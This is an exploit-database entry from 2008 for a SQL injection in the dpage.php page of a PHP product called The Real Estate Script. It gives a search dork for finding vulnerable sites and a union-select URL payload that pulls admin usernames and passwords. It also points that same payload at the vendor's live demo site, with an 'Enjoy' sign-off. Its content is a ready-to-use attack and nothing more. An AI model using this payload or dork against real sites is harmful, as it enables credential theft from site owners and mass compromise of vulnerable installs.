The Real Estate Script - docID SQL Injection

2008-05-13T00:00:00
ID EXPLOITPACK:1C0ABD452259E7FA0EFF5BF179CA78E5
Type exploitpack
Reporter HaCkeR_EgY
Modified 2008-05-13T00:00:00

Description

The Real Estate Script - docID SQL Injection

                                        
                                            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
########## Remote SQL Injection Vulnerability  ##############
                     Therealestatescript    [ dpage.php ]
#################################################                             
 
[$] Author : HaCkeR_EgY
 
[$] c0nTaCT : hacker_egy@hotmail.com
 
[$] DownlOad : www.therealestatescript.com
 
[$] Price :  The Real Estate Script is on sale for $99.95 $59.95 until June 1st.
====================================================
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[$] Dork :    inurl:dpage.php?docID
 
[$] ExPLo!T : http://www.example.com/dpage.php?docID=-1+union+select+1,2,concat_ws(0x3a3a,Username,Password)+from+admin
 
[$] L!ve Demo : http://www.therealestatescript.com/demo/dpage.php?docID=-1+union+select+1,2,concat_ws(0x3a3a,Username,Password)+from+admin
 
--Note-- : Enjoy !!! .............  (:
 
====================================================
 
[$] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[$] Greetz : F!resell , Mohamed el Arab ,Mr.SQL , DaRk MaStEr , H-T Team ,Gold_M , Stack-Terrorist , Jiki Team

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                        

# milw0rm.com [2008-05-13]